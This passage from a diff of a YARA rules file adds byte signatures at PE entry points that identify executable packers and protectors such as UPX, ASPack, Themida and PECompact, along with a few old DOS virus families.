+			$a0 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 45 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EmbedPEv113cyclotron
+	{
+	strings:
+			$a0 = { 83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+rule eXcaliburv103forgotus
+	{
+	strings:
+			$a0 = { E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 EB 39 20 45 78 63 61 6C 69 62 75 72 20 28 63 29 20 62 79 20 66 6F 72 67 6F 74 2F 75 53 2F 44 46 43 47 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Petite14
+	{
+	strings:
+			$a0 = { 66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC }
+
+	condition:
+			$a0
+	}
+	rule Petite12
+	{
+	strings:
+			$a0 = { 66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Petite13
+	{
+	strings:
+			$a0 = { 66 9C 60 50 8D 88 00 F0 00 00 8D 90 04 16 00 00 8B DC 8B E1 }
+
+	condition:
+			$a0
+	}
+	
+/*	
+	rule StarForceV1XV3XStarForceCopyProtectionSystem
+	{
+	strings:
+			$a0 = { 68 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? 00 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+*/	
+	
+	rule Upack021betaDwing
+	{
+	strings:
+			$a0 = { BE 88 01 40 00 AD 8B F8 6A 04 95 A5 33 C0 AB 48 AB F7 D8 59 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WebCopsEXELINKDataSecurity
+	{
+	strings:
+			$a0 = { EB 03 05 EB 02 EB FC 55 EB 03 EB 04 05 EB FB EB 53 E8 04 00 00 00 72 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner02FSG10Anorganix
+	{
+	strings:
+			$a0 = { 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 BB D0 01 40 00 BF 00 10 40 00 BE 90 90 90 90 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ThemidaOreansTechnologies2004
+	{
+	strings:
+			$a0 = { B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxNumberOne
+	{
+	strings:
+			$a0 = { F9 07 3C 53 6D 69 6C 65 3E E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WinKriptv10MrCrimson
+	{
+	strings:
+			$a0 = { 33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58 83 C0 08 EB D5 61 E9 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule tElockv085f
+	{
+	strings:
+			$a0 = { 60 E8 02 00 00 00 CD 20 E8 00 00 00 00 5E 2B C9 58 74 02 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RosAsm2050aBetov
+	{
+	strings:
+			$a0 = { 55 8B EC 60 8B 5D 08 B9 08 00 00 00 BF ?? ?? ?? ?? 83 C7 07 FD 8A C3 24 0F 04 30 3C 39 76 02 04 07 AA C1 EB 04 E2 EE FC 68 00 10 00 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? 61 8B E5 5D C2 04 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Obsidium13021ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 03 ?? ?? ?? E8 2E 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 2B 26 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule ASPackv211dAlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 60 E8 02 00 00 00 EB 09 5D 55 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASPackv211cAlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 E9 59 04 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ACProtect14xRISCOsoft
+	{
+	strings:
+			$a0 = { 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule SplashBitmapv100BoBBobsoft
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 60 8B 6C 24 20 55 81 ED ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 29 F9 31 C0 FC F3 AA 8B 04 24 48 66 25 00 F0 66 81 38 4D 5A 75 F4 8B 48 3C 81 3C 01 50 45 00 00 75 E8 89 85 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 6A 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEZipv10byBaGIE
+	{
+	strings:
+			$a0 = { D9 D0 F8 74 02 23 DB F5 F5 50 51 52 53 8D 44 24 10 50 55 56 57 D9 D0 22 C9 C1 F7 A0 55 66 C1 C8 B0 5D 81 E6 FF FF FF FF F8 77 07 52 76 03 72 01 90 5A C1 E0 60 90 BD 1F 01 00 00 87 E8 E2 07 E3 05 17 5D 47 E4 42 41 7F 06 50 66 83 EE 00 58 25 FF FF FF FF 51 }
+
+	condition:
+			$a0
+	}
+	rule LamerStopv10ccStefanEsser
+	{
+	strings:
+			$a0 = { E8 ?? ?? 05 ?? ?? CD 21 33 C0 8E C0 26 ?? ?? ?? 2E ?? ?? ?? 26 ?? ?? ?? 2E ?? ?? ?? BA ?? ?? FA }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ACProtectV14Xrisco
+	{
+	strings:
+			$a0 = { 60 E8 01 00 00 00 7C 83 04 24 06 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxGRUNT2Family
+	{
+	strings:
+			$a0 = { 48 E2 F7 C3 51 53 52 E8 DD FF 5A 5B 59 C3 B9 00 00 E2 FE C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AHTeamEPProtector03fakeMicrosoftVisualC70FEUERRADER
+	{
+	strings:
+			$a0 = { 90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 6A 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 8B C7 E8 ?? ?? ?? ?? 89 65 00 8B F4 89 3E 56 FF 15 ?? ?? ?? ?? 8B 4E ?? 89 0D ?? ?? ?? 00 8B 46 00 A3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule InstallStub32bit
+	{
+	strings:
+			$a0 = { 55 8B EC 81 EC 14 ?? 00 00 53 56 57 6A 00 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 29 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule VcasmProtector10evcasm
+	{
+	strings:
+			$a0 = { EB 0A 5B 56 50 72 6F 74 65 63 74 5D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MSLRHv032afakePEBundle20x24xemadicius
+	{
+	strings:
+			$a0 = { 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 83 BD 9C 38 40 00 01 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov190b4
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 08 E2 40 00 68 B4 96 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UPXv103v104Modified
+	{
+	strings:
+			$a0 = { 01 DB ?? 07 8B 1E 83 EE FC 11 DB 8A 07 ?? EB B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NsPackV2XLiuXingPing
+	{
+	strings:
+			$a0 = { 6E 73 70 61 63 6B 24 40 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule ThemidaWinLicenseV1000V1800OreansTechnologies
+	{
+	strings:
+			$a0 = { B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 ?? 00 00 00 80 38 E9 75 ?? 61 EB ?? E8 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PACKWINv101p
+	{
+	strings:
+			$a0 = { 8C C0 FA 8E D0 BC ?? ?? FB 06 0E 1F 2E ?? ?? ?? ?? 8B F1 4E 8B FE 8C DB 2E ?? ?? ?? ?? 8E C3 FD F3 A4 53 B8 ?? ?? 50 CB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule PECompactv110b1
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 28 63 40 ?? 87 DD 8B 85 AD 63 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MicroJoiner15coban2k
+	{
+	strings:
+			$a0 = { BF 05 10 40 00 83 EC 30 8B EC E8 C8 FF FF FF E8 C3 FF FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ANDpakk2018byDmitryANDAndreev
+	{
+	strings:
+			$a0 = { FC BE D4 00 40 00 BF 00 ?? ?? 00 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74 4D D1 F8 8B E8 EB 09 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 13 C9 75 1A 41 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 73 EA 83 C1 02 81 FD 00 FB FF FF 83 D1 01 56 8D 34 2F F3 A4 5E E9 73 FF FF FF C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv110b2
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 94 60 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv110b5
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 49 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NJoy10NEX
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 F0 B8 9C 3B 40 00 E8 8C FC FF FF 6A 00 68 E4 39 40 00 6A 0A 6A 00 E8 40 FD FF FF E8 EF F5 FF FF 8D 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv110b7
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 9A 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 01 85 92 60 40 ?? BB 14 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv110b6
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 ?? 00 87 DD 8B 85 9A 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 01 85 92 60 40 ?? BB B7 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule KBysPacker028BetaShoooo
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5E 83 EE 0A 8B 06 03 C2 8B 08 89 4E F3 83 EE 0F 56 52 8B F0 AD AD 03 C2 8B D8 6A 04 BF 00 10 00 00 57 57 6A 00 FF 53 08 5A 59 BD 00 80 00 00 55 6A 00 50 51 52 50 89 06 AD AD 03 C2 50 AD 03 C2 FF D0 6A 04 57 AD 50 6A 00 FF 53 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule nPack113002006BetaNEOx
+	{
+	strings:
+			$a0 = { 83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 9C 00 00 00 E8 2D 02 00 00 E8 DD 06 00 00 E8 2C 06 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3 56 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 57 FF D6 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 5F A3 ?? ?? ?? ?? 5E C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule PseudoSigner02BorlandC1999Anorganix
+	{
+	strings:
+			$a0 = { EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90 A1 ?? ?? ?? ?? A3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASPackv100bAlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 60 E8 ?? ?? ?? ?? 5D 81 ED 92 1A 44 ?? B8 8C 1A 44 ?? 03 C5 2B 85 CD 1D 44 ?? 89 85 D9 1D 44 ?? 80 BD C4 1D 44 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SEAAXEv22
+	{
+	strings:
+			$a0 = { FC BC ?? ?? 0E 1F A3 ?? ?? E8 ?? ?? A1 ?? ?? 8B ?? ?? ?? 2B C3 8E C0 B1 03 D3 E3 8B CB BF ?? ?? 8B F7 F3 A5 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PureBasic4xDLLNeilHodgson
+	{
+	strings:
+			$a0 = { 83 7C 24 08 01 75 0E 8B 44 24 04 A3 ?? ?? ?? 10 E8 22 00 00 00 83 7C 24 08 02 75 00 83 7C 24 08 00 75 05 E8 ?? 00 00 00 83 7C 24 08 03 75 00 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 ?? 0F 00 00 A3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXEPackerv70byTurboPowerSoftware
+	{
+	strings:
+			$a0 = { 1E 06 8C C3 83 ?? ?? 2E ?? ?? ?? ?? B9 ?? ?? 8C C8 8E D8 8B F1 4E 8B FE }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxSYP
+	{
+	strings:
+			$a0 = { 47 8B C2 05 1E 00 52 8B D0 B8 02 3D CD 21 8B D8 5A }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule DSHIELD
+	{
+	strings:
+			$a0 = { 06 E8 ?? ?? 5E 83 EE ?? 16 17 9C 58 B9 ?? ?? 25 ?? ?? 2E }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule kkrunchy023alphaRyd
+	{
+	strings:
+			$a0 = { BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10 8D 9D A0 08 00 00 E8 ?? 00 00 00 8B 45 10 EB 42 8D 9D A0 04 00 00 E8 ?? 00 00 00 49 49 78 40 8D 5D 20 74 03 83 C3 40 31 D2 42 E8 ?? 00 00 00 8D 0C 48 F6 C2 10 74 F3 41 91 8D 9D A0 08 00 00 E8 ?? 00 00 00 3D 00 08 00 00 83 D9 FF 83 F8 60 83 D9 FF 89 45 10 56 89 FE 29 C6 F3 A4 5E EB 90 BE ?? ?? ?? 00 BB ?? ?? ?? 00 55 46 AD 85 C0 74 ?? 97 56 FF 13 85 C0 74 16 95 AC 84 C0 75 FB 38 06 74 E8 78 ?? 56 55 FF 53 04 AB 85 C0 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule NJoy12NEX
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 F0 B8 A4 32 40 00 E8 E8 F1 FF FF 6A 00 68 54 2A 40 00 6A 0A 6A 00 E8 A8 F2 FF FF E8 C7 EA FF FF 8D 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AntiDote12DemoSISTeam
+	{
+	strings:
+			$a0 = { E8 F7 FE FF FF 05 CB 22 00 00 FF E0 E8 EB FE FF FF 05 BB 19 00 00 FF E0 E8 BD 00 00 00 08 B2 62 00 01 52 17 0C 0F 2C 2B 20 7F 52 79 01 30 07 17 29 4F 01 3C 30 2B 5A 3D C7 26 11 26 06 59 0E 78 2E 10 14 0B 13 1A 1A 3F 64 1D 71 33 57 21 09 24 8B 1B 09 37 08 61 0F 1D 1D 2A 01 87 35 4C 07 39 0B }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule EXE32Packv137
+	{
+	strings:
+			$a0 = { 3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED 4C 8E 40 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXE32Packv136
+	{
+	strings:
+			$a0 = { 3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED CC 8D 40 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AINEXEv230
+	{
+	strings:
+			$a0 = { 0E 07 B9 ?? ?? BE ?? ?? 33 FF FC F3 A4 A1 ?? ?? 2D ?? ?? 8E D0 BC ?? ?? 8C D8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule ThinstallEmbedded20XJitit
+	{
+	strings:
+			$a0 = { B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXECryptorv151x
+	{
+	strings:
+			$a0 = { E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1 C1 ?? ?? ?? FE C3 31 C0 64 FF 30 64 89 20 CC C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Obsidiumv1304ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 01 ?? 33 C0 EB 01 }
+	$a1 = { EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 01 ?? 33 C0 EB 01 ?? 8B 00 EB 01 ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 01 ?? E8 3B 26 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule CopyProtectorv20
+	{
+	strings:
+			$a0 = { 2E A2 ?? ?? 53 51 52 1E 06 B4 ?? 1E 0E 1F BA ?? ?? CD 21 1F }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXE32Packv139
+	{
+	strings:
+			$a0 = { 3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED EC 8D 40 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXE32Packv138
+	{
+	strings:
+			$a0 = { 3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED DC 8D 40 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv110EngdulekxtBorlandC1999
+	{
+	strings:
+			$a0 = { EB 02 CD 20 2B C8 68 80 ?? ?? 00 EB 02 1E BB 5E EB 02 CD 20 68 B1 2B 6E 37 40 5B 0F B6 C9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule ThinstallEmbedded2547V2600Jitit
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 58 BB BC 18 00 00 2B C3 50 68 ?? ?? ?? ?? 68 60 1B 00 00 68 60 00 00 00 E8 35 FF FF FF E9 99 FF FF FF 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv131Engdulekxt
+	{
+	strings:
+			$a0 = { BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 A4 B6 80 FF D3 73 F9 33 C9 FF D3 73 16 33 C0 FF D3 73 23 B6 80 41 B0 10 FF D3 12 C0 73 FA 75 42 AA EB E0 E8 46 00 00 00 02 F6 83 D9 01 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 48 13 C9 EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule SDProtectorBasicProEdition110RandyLi
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 50 83 EC 08 64 A1 00 00 00 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 83 C4 08 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 64 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Petite12c1998IanLuck
+	{
+	strings:
+			$a0 = { 66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00 09 00 0A 00 0B 00 0D 00 0F 00 11 00 13 00 17 00 1B 00 1F 00 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 83 00 A3 00 C3 00 E3 00 02 01 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 02 02 02 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+		
+	rule PcSharev40
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 90 34 40 00 68 B6 28 40 00 64 A1 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VProtector0X12Xvcasm
+	{
+	strings:
+			$a0 = { 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00 58 EB 13 C7 83 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 AD CD 20 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3 }
+
+	condition:
+			$a0
+	}
+/*    
